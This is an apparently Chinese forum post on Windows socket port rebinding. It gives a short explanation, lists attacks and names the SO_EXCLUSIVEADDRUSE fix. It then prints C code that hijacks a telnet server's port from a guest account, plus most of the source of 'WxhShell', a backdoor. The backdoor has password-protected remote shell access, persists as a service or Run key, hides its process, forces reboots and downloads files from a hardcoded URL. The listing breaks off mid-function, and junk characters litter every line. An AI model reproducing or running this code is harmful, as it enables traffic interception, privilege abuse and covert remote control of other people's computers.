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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~4HS 2\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'urn5[i  
-X#Zn>#  
  saddr.sin_family = AF_INET; =bt/2 nPV  
{ir8n731p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'xO5Le(=M  
>U/ m/H'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #sLyU4QV  
)%D2JC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @SH%l]  
x^_(gve:  
  这意味着什么?意味着可以进行如下的攻击: 5.st!Lp1  
(<RZZ{m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {<XPE:1>Y  
=b+W*vUAw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1t"  
~@8r-[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &6*X&]V!Z  
M~ =Bln5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pa1.+~)  
ZMs$C3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $2l<X KT-  
iQryX(z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hrsMAh!  
_&0_@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i|zs Li/  
BJzNh>-#=  
  #include e))fbv&V  
  #include 3 K Y-+ k  
  #include .<Y7,9;YEF  
  #include    Oy>u/g~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DQ'yFPE  
  int main() &p>VTD  
  { ~y@,d  
  WORD wVersionRequested; R2uekpP  
  DWORD ret; R0>GM`{  
  WSADATA wsaData; 1\G S"4~P  
  BOOL val; e C\;n  
  SOCKADDR_IN saddr; j*uc$hC"  
  SOCKADDR_IN scaddr; `?Wy;5-  
  int err; !1+yb.{\  
  SOCKET s; KjK.Sv{N  
  SOCKET sc; B&J;yla6`d  
  int caddsize; :G+8%pUX]  
  HANDLE mt; Y*!J +A#  
  DWORD tid;   u,]?_bK)  
  wVersionRequested = MAKEWORD( 2, 2 ); {9(#X]'  
  err = WSAStartup( wVersionRequested, &wsaData ); F' eV%g  
  if ( err != 0 ) { mj\]oWS7d  
  printf("error!WSAStartup failed!\n"); !RX7TYf  
  return -1; G[34:J  
  } ;| (_;d  
  saddr.sin_family = AF_INET; [l;9](\8O  
   >z&|<H%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,^]yU?eU  
>fCz,.L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kNW}0CDgs  
  saddr.sin_port = htons(23); U Ke!zI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `~${fs{-`/  
  { /yRP>CX~  
  printf("error!socket failed!\n"); >hg?!jMjrr  
  return -1; t[L0kF9en  
  } Yvky=RM  
  val = TRUE; fTn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eC+S'Jgf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2"Oj* ;  
  { r*e<`Is  
  printf("error!setsockopt failed!\n"); NkWU5E!  
  return -1; XE/K|o^Hp  
  } ?!PpooYK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Yxe%:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %bs6Uy5g)a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pDW4DF:`(  
z)z_]c-X+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .2y2Qm  
  { E038p]M!  
  ret=GetLastError(); !3]}3jZ.  
  printf("error!bind failed!\n"); !3Xu#^Xxj  
  return -1; AQCU\E  
  } zR)9]pJ-  
  listen(s,2); KW&5&~)2  
  while(1) y[ikpp#ozY  
  { Qyn~Vu43  
  caddsize = sizeof(scaddr); 7#\\Ava$T  
  //接受连接请求 51:NL[[6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); | Vl Q0{  
  if(sc!=INVALID_SOCKET) ^pAgo B  
  { i+`N0!8lY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Knd2s~S  
  if(mt==NULL) G5JZpB#o  
  { :C%cnU;N  
  printf("Thread Creat Failed!\n"); 8KQD w:  
  break; &<Gs@UX~w  
  } Qw&It  
  } ?Q`u\G3.m  
  CloseHandle(mt); IF"-{@  
  } (]*otVJ  
  closesocket(s); z: x|;Ps!  
  WSACleanup(); -Re4G78%  
  return 0; s@Q, wa(  
  }   _FG?zE  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^Q)&lxlxpx  
  { <,r(^Ntz  
  SOCKET ss = (SOCKET)lpParam; G}MJWf Hl  
  SOCKET sc; l$j/Ye]  
  unsigned char buf[4096]; f$\gm+&hXE  
  SOCKADDR_IN saddr; qXI>x6?*  
  long num; JqX+vRY;dd  
  DWORD val; XeGtge/}T  
  DWORD ret; =D1%-ym  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hchh2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KW1 7CJ@  
  saddr.sin_family = AF_INET; U_1syaY!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #q[k"x=c  
  saddr.sin_port = htons(23); *^]lFuX\&E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :fxG]uf-P  
  { U9uy (KOW  
  printf("error!socket failed!\n"); ups] k?4  
  return -1; 2aROY2  
  } 4T]n64Yid  
  val = 100; VeLuL:4I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p3sR>ToJ  
  { 6xFvu7L_c;  
  ret = GetLastError(); ?8{x/y:  
  return -1; :E$<!q  
  } %TOYU (k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  X`REhvT  
  { @wzzI 7}C  
  ret = GetLastError(); u0Nag=cU  
  return -1; H<hFA(M  
  } U{^~X_?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Iuh1tcc  
  { jB"?iC.  
  printf("error!socket connect failed!\n"); 9ZKB,  
  closesocket(sc); yXuc< m  
  closesocket(ss); .Xq4QR .  
  return -1; nhbCk6Y5LZ  
  } WyO7,Qr\   
  while(1) @k"Q e&BQ  
  { :Adx7!6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,};UD  W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h3}gg@Fm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sBsf{%I[{  
  num = recv(ss,buf,4096,0); Q Pel n)  
  if(num>0) ( !K?^si  
  send(sc,buf,num,0); > 4c7r~\k  
  else if(num==0) +lK?)77f  
  break; G4VdJ(_  
  num = recv(sc,buf,4096,0); :n@j"-HA  
  if(num>0) 9KqN .  
  send(ss,buf,num,0); C(RZ09,.S  
  else if(num==0) W.B;Dy,Y  
  break; |H.i$8_A  
  }  2s+ITPr  
  closesocket(ss); |oYqkP|  
  closesocket(sc); `7f><p/q  
  return 0 ; !9w;2Z]uum  
  } 9:JFG{M  
S 54N  
2;82*0Y%  
========================================================== yu<'-)T.?  
I04GQql  
下边附上一个代码,,WXhSHELL 4| 6<nk_  
}D/O cp~o  
========================================================== UJ}Xa&*H\  
ZQ&A '(tt4  
#include "stdafx.h" %syFHUBw  
M9 _G  
#include <stdio.h> 9;fyC =  
#include <string.h> 7W{xK'|]  
#include <windows.h> 3 &aBU [  
#include <winsock2.h> /b$0).fj@,  
#include <winsvc.h> fmDn1N-bG  
#include <urlmon.h> 2l7Sbs7  
/b44;U`v5-  
#pragma comment (lib, "Ws2_32.lib") hI&ugdf  
#pragma comment (lib, "urlmon.lib") 2+Y 8b::  
M;14s*g  
#define MAX_USER   100 // 最大客户端连接数 *{ =5AW}o  
#define BUF_SOCK   200 // sock buffer 2jMV6S9  
#define KEY_BUFF   255 // 输入 buffer 72YL   
FuA8vTV{  
#define REBOOT     0   // 重启 y([""z3<w  
#define SHUTDOWN   1   // 关机 %Ydzzr3  
M[;N6EJH  
#define DEF_PORT   5000 // 监听端口 Qh 3V[br  
$& 0hpg  
#define REG_LEN     16   // 注册表键长度 c@+;4Iz  
#define SVC_LEN     80   // NT服务名长度 igoUKDNiQ-  
0<,Q7onDD:  
// 从dll定义API +IRr&J*P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vy+%sG q"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4 ^=qc99  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |GDf<\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [(hB%x_"  
Oq7R^t`b  
// wxhshell配置信息 oj8_e xx  
struct WSCFG { Sxj _gn  
  int ws_port;         // 监听端口 86]})H  
  char ws_passstr[REG_LEN]; // 口令 S%+$  
  int ws_autoins;       // 安装标记, 1=yes 0=no YTQom!O  
  char ws_regname[REG_LEN]; // 注册表键名 1X5*V!u  
  char ws_svcname[REG_LEN]; // 服务名 l> Mth+ ,b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Wj2%*NT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kLr6j-X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q%seV<!/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v(ATbY75  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GN7\p)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FMuakCic5  
^/)!)=?  
}; l7.W2mg  
!7m )QNV  
// default Wxhshell configuration x[ sSM:  
struct WSCFG wscfg={DEF_PORT, K2W$I H:.  
    "xuhuanlingzhe", =:|fN3nJ2  
    1, eH*u,/  
    "Wxhshell", d%"?^e  
    "Wxhshell", :;wb{q$O  
            "WxhShell Service", !Q`vOVSUD  
    "Wrsky Windows CmdShell Service", z_Nw%V4kr  
    "Please Input Your Password: ", 3#IU^6l:1S  
  1, RWN2 P6  
  "http://www.wrsky.com/wxhshell.exe", #ny&bJj  
  "Wxhshell.exe" np>RxiB^  
    }; <hYrcOt  
K*ZH<@o4  
// 消息定义模块 LX i?FQnLu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :4{;^|RgU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WWO@ULGY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NXwlRMbo  
char *msg_ws_ext="\n\rExit."; ]h Dy]  
char *msg_ws_end="\n\rQuit."; b),_rr  
char *msg_ws_boot="\n\rReboot..."; F(-1m A&-  
char *msg_ws_poff="\n\rShutdown..."; ?q68{!{bi  
char *msg_ws_down="\n\rSave to "; U?MKZL7  
208dr*6U  
char *msg_ws_err="\n\rErr!"; nvJ2V $  
char *msg_ws_ok="\n\rOK!"; efK)6T^p  
@.4e^Km  
char ExeFile[MAX_PATH]; L4)@lmd3  
int nUser = 0; 5]Wkk~a  
HANDLE handles[MAX_USER]; =,*4:TU  
int OsIsNt; 2MN AY%iT  
0(uNFyIG  
SERVICE_STATUS       serviceStatus; xk1pZQ8c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?~mw  
1I'ep\`"X  
// 函数声明 aS7[s6  
int Install(void); Ly0U')D:  
int Uninstall(void); A.mIqu,:  
int DownloadFile(char *sURL, SOCKET wsh); [M^ur%H  
int Boot(int flag); bt$+l[U^J  
void HideProc(void); /K#t$O4  
int GetOsVer(void); aYjFRH`  
int Wxhshell(SOCKET wsl); U9om}WKO  
void TalkWithClient(void *cs); ,oW8im   
int CmdShell(SOCKET sock); .kBZ(`K  
int StartFromService(void); F-=W7 D:[c  
int StartWxhshell(LPSTR lpCmdLine); IT`r&;5  
%cDTy]ILu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nUAs:Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N"i'[!H%  
aZe[Nos  
// 数据结构和表定义 yM3]<~m  
SERVICE_TABLE_ENTRY DispatchTable[] = %-Z0OzWe  
{ 2 |fN*Wm  
{wscfg.ws_svcname, NTServiceMain}, #>SvYP  
{NULL, NULL} ;st$TVzkn  
}; nUZ+N)*  
`.0QY<;  
// 自我安装 WSdTP$?  
int Install(void) Vx]{<}(gr  
{ 94=aVM\>>  
  char svExeFile[MAX_PATH]; zuWfR&U|W  
  HKEY key; D@Zb|EI%<  
  strcpy(svExeFile,ExeFile); I|6wPV?  
Unl6?_  
// 如果是win9x系统,修改注册表设为自启动 _&/FO{F@m  
if(!OsIsNt) { `_IgH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]M"l-A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  TP6iSF  
  RegCloseKey(key); 29 +p|n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EZm6WvlxSI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UuV<#N)  
  RegCloseKey(key); 0n <t/74  
  return 0; :Fm{U0;"  
    } 5"f')MKUV9  
  } EM_`` 0^  
} htn"rY(  
else { sA3=x7j%c  
uT5sLpA|6  
// 如果是NT以上系统,安装为系统服务 UMg*Yv%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t~xp&LQiY  
if (schSCManager!=0) xh7#\m_U8  
{ [!@&t:A  
  SC_HANDLE schService = CreateService zc QFIP  
  ( p^G:h6|+|  
  schSCManager, bK)gB!  
  wscfg.ws_svcname, +4kBd<0Y  
  wscfg.ws_svcdisp, ~W q[H  
  SERVICE_ALL_ACCESS, X-F|&yE~<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]jUxL=]r  
  SERVICE_AUTO_START, LL~bq(b  
  SERVICE_ERROR_NORMAL, w[>/(R7im  
  svExeFile, {+V1>6  
  NULL, cLN(yL  
  NULL, 0@R @L}m  
  NULL, @"*8nV#  
  NULL, x(e =@/qp  
  NULL LB<,(dyh  
  ); l vuoVINEp  
  if (schService!=0) WJG&`PP  
  { L< MIl[z7  
  CloseServiceHandle(schService); EJ*  
  CloseServiceHandle(schSCManager); :y)'_p *l/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *D: wwJ  
  strcat(svExeFile,wscfg.ws_svcname); *@'\4OO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EUv xil  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); } k[gR I]  
  RegCloseKey(key); hWGCYkuW  
  return 0; ,UFr??ZKm  
    } `(|jm$Q  
  } Bc {#ia  
  CloseServiceHandle(schSCManager); ?#F}mOVAa  
} y//yLrs;  
} z6tH2Wxf  
MB,;HeP!  
return 1; _v2 K1 1  
} Z8 \c'xN  
YuWsE4$  
// 自我卸载 d#@N2  
int Uninstall(void) LTsG  
{ K0xZZ`  
  HKEY key; kLKd O0  
dP(*IOO.  
if(!OsIsNt) { K!q:A+]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1mw<$'pm0  
  RegDeleteValue(key,wscfg.ws_regname); ~=5vc''  
  RegCloseKey(key); `[JX}<~i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Re <G#*^  
  RegDeleteValue(key,wscfg.ws_regname); M[ea!an  
  RegCloseKey(key); Ku{DdiTg>  
  return 0; L]o 5=K  
  } ?XVJ$nzW  
} utq*<,^  
} C LhD[/Fo  
else { z5CZ!"&v  
:^mfTj$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $x&\9CRM  
if (schSCManager!=0) (,<ti):  
{ J[:3H6%`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (ilU<Ht  
  if (schService!=0) F`9;s@V*  
  { @P:  
  if(DeleteService(schService)!=0) { W{\){fr6O  
  CloseServiceHandle(schService); ;mV,r,\dH  
  CloseServiceHandle(schSCManager); v%|()Z0  
  return 0; 2nOoG/6 E  
  } *yGOm i  
  CloseServiceHandle(schService); >r7{e:~q  
  } n237%LH[  
  CloseServiceHandle(schSCManager); CErkmod{}e  
} f!}c0nb  
} :%Dw3IrOM  
ms'!E)  
return 1; 9?)r0`:#  
} <$s G]l!\  
fL7ym,?  
// 从指定url下载文件 ".z~c%'  
int DownloadFile(char *sURL, SOCKET wsh) 1!RD kZw e  
{ |9)Q =(  
  HRESULT hr; ' vO+,-  
char seps[]= "/"; hia_CuY#  
char *token; ;b:Ct<  
char *file; wVD-}n1"  
char myURL[MAX_PATH]; (o,&P9  
char myFILE[MAX_PATH]; tk5Bb`a  
h5 Y3 v  
strcpy(myURL,sURL); FAAqdK0  
  token=strtok(myURL,seps); ~y{(&7sM  
  while(token!=NULL) CUOxx,V  
  { y 1fl=i  
    file=token; zV {[0s  
  token=strtok(NULL,seps); )B@veso{  
  } rvRtR/*?j  
372ewh3'  
GetCurrentDirectory(MAX_PATH,myFILE); #`5 M( o  
strcat(myFILE, "\\"); \[&~.B  
strcat(myFILE, file); >a98 H4  
  send(wsh,myFILE,strlen(myFILE),0); P)~PrTa%  
send(wsh,"...",3,0); 8o~<\eF%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 94L P )n  
  if(hr==S_OK) {\G4YQ  
return 0; `Nnqdc2  
else Pg%OFhA  
return 1; UA3%I8gu_  
DoA4#+RU  
} vs|>U-Mpw~  
@RKw1$BA  
// 系统电源模块 H".~@,-}  
int Boot(int flag) e!}R1  
{ <{.o+~k  
  HANDLE hToken; ;p%a!Im_ <  
  TOKEN_PRIVILEGES tkp; }et^'BkA(  
%k#Q) zWJ  
  if(OsIsNt) { dX0A(6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G0$ 1"9u\w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WF<0QH  
    tkp.PrivilegeCount = 1; 6.|f iQs ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "V:B-q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CqDMq!  
if(flag==REBOOT) { HPs$R [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:SfPAx  
  return 0; w}pFa76rm  
} @)iv'   
else { P-ma~g>I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :NHh`@0F  
  return 0; '3eP<earRP  
} m*h d%1D  
  } NG@9 }O  
  else { o Wg5-pMWZ  
if(flag==REBOOT) { Kx6_Vp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) , %X~/V  
  return 0; X\\WQxj  
} ;<%~g8:XL  
else { C\UD0r'p?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mfLS< /A  
  return 0; .EGZv (rz&  
} EKf"e*|(L  
} !G3O!]  
72} MspzUt  
return 1; `bO+3Y'5  
} Ps0'WRJnx  
^lB'7#7  
// win9x进程隐藏模块 %"@KuqV  
void HideProc(void) $xmlt vaF  
{ @jg*L2L6  
n@w$5y1@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =kohQ d.n  
  if ( hKernel != NULL ) xtN%v0ZZ  
  { v]gJ 7x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Ep%&>@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l"!.aIY"e  
    FreeLibrary(hKernel); yef@V2Z+  
  } `p9h$d  
d}%GHvOi  
return; +Ck<tx3h&  
} yL&F!+(/Ix  
? e%Pvy<i  
// 获取操作系统版本 qR!SwG44+  
int GetOsVer(void) % w 6fB  
{ RUm1;MWs  
  OSVERSIONINFO winfo; Fsv%=E{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I(ds]E ;_E  
  GetVersionEx(&winfo); Z6SM7? d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z^S=ji U++  
  return 1; 30g-J(Zg  
  else )Z0pU\  
  return 0;  V3K  
} `TKe+oS)  
a /X@5kr{  
// 客户端句柄模块 "#d}S)GlXM  
int Wxhshell(SOCKET wsl) i;`r zsRb  
{ em<(wJ-Y  
  SOCKET wsh; ^.Vq0Qzy]  
  struct sockaddr_in client; z+&mMP`-  
  DWORD myID; ?n>h/[/  
AM*V4}s*9k  
  while(nUser<MAX_USER) i3s-l8\\z  
{ FSd842O  
  int nSize=sizeof(client); rC}r99Pe:x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6~V$0Y>]  
  if(wsh==INVALID_SOCKET) return 1; YY{S0jnhF  
h djv/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #A@*k}/+  
if(handles[nUser]==0) JadXdK=gE  
  closesocket(wsh); LHKawEZ  
else " GkBX  
  nUser++; phwk0J]2  
  } T?:Vw laE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "zL<:TQ"  
<i`Ipj  
  return 0; =l&7~  
} y} AkF2:  
mu04TPj  
// 关闭 socket 3D[IZ^%VtM  
void CloseIt(SOCKET wsh) `omZ'n)  
{ *xA&t)z(i  
closesocket(wsh); xR q|W4ay  
nUser--; B<J} YN  
ExitThread(0); ZJ'#XZpr  
} !]7Z),s  
i]a0 "  
// 客户端请求句柄 kJq8"Klg  
void TalkWithClient(void *cs) L;H(I@p(e  
{ m^@,0\F  
A#RA;Dt:  
  SOCKET wsh=(SOCKET)cs; IM|VGT0  
  char pwd[SVC_LEN]; i-~HT4iw  
  char cmd[KEY_BUFF]; l4u_Z:<w  
char chr[1]; rePJ4i [y  
int i,j; {<o_6 z`$  
yNi/JM  
  while (nUser < MAX_USER) { p)RASIB  
fI;6!M#  
if(wscfg.ws_passstr) { T?{"T/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5ycccMx0V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,IF3VE&r  
  //ZeroMemory(pwd,KEY_BUFF); PsMoH/+"  
      i=0; s"?Z jV)`  
  while(i<SVC_LEN) { F\F_">5  
f1y3l1/  
  // 设置超时 f/&gR5  
  fd_set FdRead; 0#0[E,  
  struct timeval TimeOut; L,M=ogdb  
  FD_ZERO(&FdRead); XCCN6[[+  
  FD_SET(wsh,&FdRead); o( Yfnnuy  
  TimeOut.tv_sec=8; Pqli3(  
  TimeOut.tv_usec=0; URdCV{@42  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lqq RuKi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;D&FZ|`(u  
[Nbs{f^J=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pp3<K649  
  pwd=chr[0]; *cz nokq6  
  if(chr[0]==0xd || chr[0]==0xa) { +KgLe>-}  
  pwd=0; FY+0r67]  
  break; @{3$H^  
  } !f[LFQD  
  i++; FJomUVR.  
    } rg64f'+Eug  
Y|FF ;[  
  // 如果是非法用户,关闭 socket q}p&<k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #kjN!S*=  
} N]udZhkn  
AE? 0UVI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); / E}L%OvE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +XCLdf}dC  
d*$$E  
while(1) { /#lhRNX  
T'B43Q  
  ZeroMemory(cmd,KEY_BUFF); jI %v[]V  
#N9^C@  
      // 自动支持客户端 telnet标准   k#X~+}N^  
  j=0; f]Z%,'1^  
  while(j<KEY_BUFF) { n4\UoKq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L"{qF<@V7&  
  cmd[j]=chr[0]; 4v9jGwnzt  
  if(chr[0]==0xa || chr[0]==0xd) { kk#%x#L[  
  cmd[j]=0; Cl#PYB{1Y  
  break; W6J%x[>Z  
  } :@#9P,"  
  j++; ZFwUau  
    } CC&opC  
kqy d3Si>  
  // 下载文件 "`HkAW4GZa  
  if(strstr(cmd,"http://")) { k8IhQ{@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sh;DCd  
  if(DownloadFile(cmd,wsh)) _W]R|kYl$'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (37dD!  
  else #0>??]&r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }#):ZPTs  
  } YbAa@Sq@  
  else { ;]c@%LX  
|2t g3m@  
    switch(cmd[0]) { :0N} K}  
  VZuluV  
  // 帮助 -i93  
  case '?': { (:Di/{i&r5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rr#Zcs!G  
    break; ZD!?mR+-  
  } q_iPWmf p*  
  // 安装 <8;SSdoKi  
  case 'i': { !2L?8oP-z  
    if(Install()) N~NUBEKcp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9#(Nd, m})  
    else 1%Hc/N-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jHjap:i`cI  
    break; Nl/^ga  
    } @cYb37)q=  
  // 卸载 r+ v?~m!  
  case 'r': { {<ms;Oi'  
    if(Uninstall()) p1t qwV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IE*eDj  
    else >D]g:t@v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]90BIJ]*c  
    break; >_XC  
    } 0b=1Ce+0q  
  // 显示 wxhshell 所在路径 3Ye{a<ckK  
  case 'p': { r~rftw  
    char svExeFile[MAX_PATH]; 7m.#No>^  
    strcpy(svExeFile,"\n\r"); $[f-{B{>*  
      strcat(svExeFile,ExeFile); 7slpj8  
        send(wsh,svExeFile,strlen(svExeFile),0); Cp"a,%b6u  
    break; 7)Cn 4{B6  
    } )+Gw Yt  
  // 重启 )?`G"( y  
  case 'b': { 7:/gO~g I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <|-da&7  
    if(Boot(REBOOT)) T)c<tIr6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,J;Cb}  
    else { @!'rsPrI  
    closesocket(wsh); #hMS?F|  
    ExitThread(0); 6LRvl6ik  
    } SG$V%z"e  
    break; m3T=x =  
    } _c!$K#Yl{  
  // 关机 xP{)+$n  
  case 'd': { t;HM  
